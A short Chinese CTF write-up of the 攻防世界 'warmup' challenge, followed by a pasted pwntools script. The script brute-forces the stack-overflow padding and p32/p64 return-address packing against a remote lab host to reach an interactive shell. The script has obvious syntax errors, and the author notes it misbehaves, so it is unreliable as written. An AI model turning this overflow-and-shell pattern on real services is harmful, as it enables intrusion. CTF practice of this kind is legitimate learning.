『攻防世界』:进阶区 | warmup
这道题感觉有点怪怪的,题目页面并没有给出附件,实验了下可以开启在线场景
先用nc看一看程序运行起来是怎么样的。
首先一句warm up,再给我们打印了一个地址,这个地址我猜是解题的关键,应该需要通过栈溢出到这个地址就可以吧,毕竟这只是道暖身题,但是接下来的问题是如果我们选择栈溢出则需要知道栈溢出的cylib构造的长度以及地址的打包方式。
这两个问题我可以通过脚本爆破出来就可以了,虽然逻辑非常简单,但是对于没有学习过Python的我来说还是要花费亿点功夫的。
大概就是for(i ,i < cylib, i++){ for(j =1, j<p32(), j++){io = remote();io.recv();payload = ...;io.sendline;io.interactive();} }, 上面那个就是一点点的逻辑,不用太在意里面的错误。 = =
最后附上老湿的exp:
from pwn import * #context.load_level = 'debug' addr = 0x40060d def fuzz(r,num,flag): payload = 'a' * num if flag = =1 payload += p32(addr) if flag == 2 payload += p64(addr) r.recvuntil(">") r.sendline(payload) def main() for i in range(1000): print(i) for j in range(3): try: r = remote("111.198.29.45",46588) fuzz(r,i,j) text = r.recv() print('text.len='+str(len(text))+'text='+text) print('num= '+ str(i) + 'flag =' + str(j) r.interactive() except: r.close() if__name__ == '__main__' : main()
刚才调试了下,发现老湿傅的exp会在64停住,不能够正常的interactive(),但是cylib的长度正确是72.
老湿的博客:www.sailingplace.cn